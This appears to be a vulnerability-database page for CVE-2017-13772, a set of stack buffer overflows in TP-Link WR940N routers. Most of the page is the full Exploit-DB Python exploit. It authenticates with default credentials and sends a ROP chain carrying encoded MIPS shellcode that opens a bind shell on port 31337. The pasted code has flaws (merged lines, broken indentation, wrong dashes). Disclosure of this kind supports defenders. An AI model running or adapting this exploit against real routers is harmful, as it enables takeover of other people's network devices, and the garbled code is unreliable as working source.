CVE-2017-13772

high
Published 2017-10-23 · Modified 2026-05-13
CVSS v3
8.8
CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CVSS v4 NEW
not yet in upstream
VIR risk
9.8

Description

Multiple stack-based buffer overflows in TP-Link WR940N WiFi routers with hardware version 4 allow remote authenticated users to execute arbitrary code via the (1) ping_addr parameter to PingIframeRpm.htm or (2) dnsserver2 parameter to WanStaticIpV6CfgRpm.htm.

Predictions

Exploit likelihood
92%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-43022 webapps hardware python · 7 KB
Fidus InfoSecurity · 2017-10-17

TP-Link WR940N - (Authenticated) Remote Code

python exploit Source: Exploit-DB
import urllib2
import base64
import hashlib
from optparse import *
import sys
import urllibbanner = (
"___________________________________________________________________________\n"
"WR940N Authenticated Remote Code Exploit\n"
"This exploit will open a bind shell on the remote target\n"
"The port is 31337, you can change that in the code if you wish\n"
"This exploit requires authentication, if you know the creds, then\n"
"use the -u -p options, otherwise default is admin:admin\n"
"___________________________________________________________________________"
)

def login(ip, user, pwd):
    print "[+] Attempting to login to http://%s %s:%s"%(ip,user,pwd)
    
    #### Generate the auth cookie of the form b64enc('admin:' + md5('admin'))
    hash = hashlib.md5()
    hash.update(pwd)
    auth_string = "%s:%s" %(user, hash.hexdigest())
    encoded_string = base64.b64encode(auth_string)
    print "[+] Encoded authorisation: %s" %encoded_string
    
    #### Send the request
    url = "http://" + ip + "/userRpm/LoginRpm.htm?Save=Save"
    print "[+] sending login to " + url
    req = urllib2.Request(url)
    req.add_header('Cookie', 'Authorization=Basic %s' %encoded_string)
    resp = urllib2.urlopen(req)
    
    #### The server generates a random path for further requests, grab that here
    data = resp.read()
    next_url = "http://%s/%s/userRpm/" %(ip, data.split("/")[3])
    print "[+] Got random path for next stage, url is now %s" %next_url
    
    return (next_url, encoded_string)

#custom bind shell shellcode with very simple xor encoder
#followed by a sleep syscall to flush cash before running
#bad chars = 0x20, 0x00
shellcode = (
#encoder
"\x22\x51\x44\x44\x3c\x11\x99\x99\x36\x31\x99\x99"
"\x27\xb2\x05\x4b" #0x27b2059f for first_exploit
"\x22\x52\xfc\xa0\x8e\x4a\xfe\xf9"
"\x02\x2a\x18\x26\xae\x43\xfe\xf9\x8e\x4a\xff\x41"
"\x02\x2a\x18\x26\xae\x43\xff\x41\x8e\x4a\xff\x5d"
"\x02\x2a\x18\x26\xae\x43\xff\x5d\x8e\x4a\xff\x71"
"\x02\x2a\x18\x26\xae\x43\xff\x71\x8e\x4a\xff\x8d"
"\x02\x2a\x18\x26\xae\x43\xff\x8d\x8e\x4a\xff\x99"
"\x02\x2a\x18\x26\xae\x43\xff\x99\x8e\x4a\xff\xa5"
"\x02\x2a\x18\x26\xae\x43\xff\xa5\x8e\x4a\xff\xad"
"\x02\x2a\x18\x26\xae\x43\xff\xad\x8e\x4a\xff\xb9"
"\x02\x2a\x18\x26\xae\x43\xff\xb9\x8e\x4a\xff\xc1"
"\x02\x2a\x18\x26\xae\x43\xff\xc1"

#sleep
"\x24\x12\xff\xff\x24\x02\x10\x46\x24\x0f\x03\x08"
"\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa"
"\x27\xa4\xfb\xfa\x01\x01\x01\x0c\x21\x8c\x11\x5c"

################ encoded shellcode ###############
"\x27\xbd\xff\xe0\x24\x0e\xff\xfd\x98\x59\xb9\xbe\x01\xc0\x28\x27\x28\x06"
"\xff\xff\x24\x02\x10\x57\x01\x01\x01\x0c\x23\x39\x44\x44\x30\x50\xff\xff"
"\x24\x0e\xff\xef\x01\xc0\x70\x27\x24\x0d"
"\x7a\x69"            #<————————- PORT 0x7a69 (31337)
"\x24\x0f\xfd\xff\x01\xe0\x78\x27\x01\xcf\x78\x04\x01\xaf\x68\x25\xaf\xad"
"\xff\xe0\xaf\xa0\xff\xe4\xaf\xa0\xff\xe8\xaf\xa0\xff\xec\x9b\x89\xb9\xbc"
"\x24\x0e\xff\xef\x01\xc0\x30\x27\x23\xa5\xff\xe0\x24\x02\x10\x49\x01\x01"
"\x01\x0c\x24\x0f\x73\x50"
"\x9b\x89\xb9\xbc\x24\x05\x01\x01\x24\x02\x10\x4e\x01\x01\x01\x0c\x24\x0f"
"\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\x28\x06\xff\xff\x24\x02\x10\x48"
"\x01\x01\x01\x0c\x24\x0f\x73\x50\x30\x50\xff\xff\x9b\x89\xb9\xbc\x24\x0f"
"\xff\xfd\x01\xe0\x28\x27\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f\x73\x50"
"\x9b\x89\xb9\xbc\x28\x05\x01\x01\xbd\x9b\x96\x46\x01\x01\x01\x0c\x24\x0f"
"\x73\x50\x9b\x89\xb9\xbc\x28\x05\xff\xff\xbd\x9b\x96\x46\x01\x01\x01\x0c"
"\x3c\x0f\x2f\x2f\x35\xef\x62\x69\xaf\xaf\xff\xec\x3c\x0e\x6e\x2f\x35\xce"
"\x73\x68\xaf\xae\xff\xf0\xaf\xa0\xff\xf4\x27\xa4\xff\xec\xaf\xa4\xff\xf8"
"\xaf\xa0\xff\xfc\x27\xa5\xff\xf8\x24\x02\x0f\xab\x01\x01\x01\x0c\x24\x02"
"\x10\x46\x24\x0f\x03\x68\x21\xef\xfc\xfc\xaf\xaf\xfb\xfe\xaf\xaf\xfb\xfa"
"\x27\xa4\xfb\xfe\x01\x01\x01\x0c\x21\x8c\x11\x5c"
)

###### useful gadgets #######
nop = "\x22\x51\x44\x44"
gadg_1 = "\x2A\xB3\x7C\x60"
gadg_2 = "\x2A\xB1\x78\x40"
sleep_addr = "\x2a\xb3\x50\x90"
stack_gadg = "\x2A\xAF\x84\xC0"
call_code = "\x2A\xB2\xDC\xF0"

def first_exploit(url, auth):
    #                      trash $s1        $ra
    rop = "A"*164 + gadg_2  + gadg_1 + "B"*0x20 + sleep_addr + "C"*4
    rop += "C"*0x1c + call_code + "D"*4 + stack_gadg + nop*0x20 + shellcode
    
    params = {'ping_addr': rop, 'doType': 'ping', 'isNew': 'new', 'sendNum': '20', 'pSize': '64', 'overTime': '800', 'trHops': '20'}
    
    new_url = url + "PingIframeRpm.htm?" + urllib.urlencode(params)
    
    print "[+] sending exploit..."
    print "[+] Wait a couple of seconds before connecting"
    print "[+] When you are finished do http -r to reset the http service"
    
    req = urllib2.Request(new_url)
    req.add_header('Cookie', 'Authorization=Basic %s' %auth)
    req.add_header('Referer', url + "DiagnosticRpm.htm")
    
    resp = urllib2.urlopen(req)

def second_exploit(url, auth):
    url = url + "WanStaticIpV6CfgRpm.htm?"
    #                 trash      s0      s1      s2       s3     s4      ret     shellcode
    payload = "A"*111 + "B"*4 + gadg_2 + "D"*4 + "E"*4 + "F"*4 + gadg_1 + "a"*0x1c
    payload += "A"*4 + sleep_addr + "C"*0x20 + call_code + "E"*4
    payload += stack_gadg + "A"*4 +  nop*10 + shellcode + "B"*7
    print len(payload)
    
    params = {'ipv6Enable': 'on', 'wantype': '2', 'ipType': '2', 'mtu': '1480', 'dnsType': '1',
    'dnsserver2': payload, 'ipAssignType': '0', 'ipStart': '1000',
    'ipEnd': '2000', 'time': '86400', 'ipPrefixType': '0', 'staticPrefix': 'AAAA',
    'staticPrefixLength': '64', 'Save': 'Save', 'RenewIp': '1'}
    
    new_url = url + urllib.urlencode(params)
    
    print "[+] sending exploit…"
    print "[+] Wait a couple of seconds before connecting"
    print "[+] When you are finished do http -r to reset the http service"
    
    req = urllib2.Request(new_url)
    req.add_header('Cookie', 'Authorization=Basic %s' %auth)
    req.add_header('Referer', url + "WanStaticIpV6CfgRpm.htm")
    
    resp = urllib2.urlopen(req)

if __name__ == '__main__':
    print banner
    username = "admin"
    password = "admin"

    parser = OptionParser()
    parser.add_option("-t", "–target", dest="host",
    help="target ip address")
    
    parser.add_option("-u", "–user", dest="username",
    help="username for authentication",
    default="admin")
    
    parser.add_option("-p", "–password", dest="password",
    help="password for authentication",
    default="admin")
    
    (options, args) = parser.parse_args()
    
    if options.host is None:
    parser.error("[x] A host name is required at the minimum [x]")
    
    if options.username is not None:
    username = options.username
    if options.password is not None:
    password = options.password
    
    (next_url, encoded_string) = login(options.host, username, password)
    
    ###### Both exploits result in the same bind shell ######
    #first_exploit(data[0], data[1])
    second_exploit(next_url, encoded_string).    
EDB-48994 remote hardware
Patrik Lantz · 2020-11-05

TP-Link WDR4300 - Remote Code Execution (Authenticated)

Source code queued for fetch — refresh in a moment.

References

CWEs

CWE-119

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.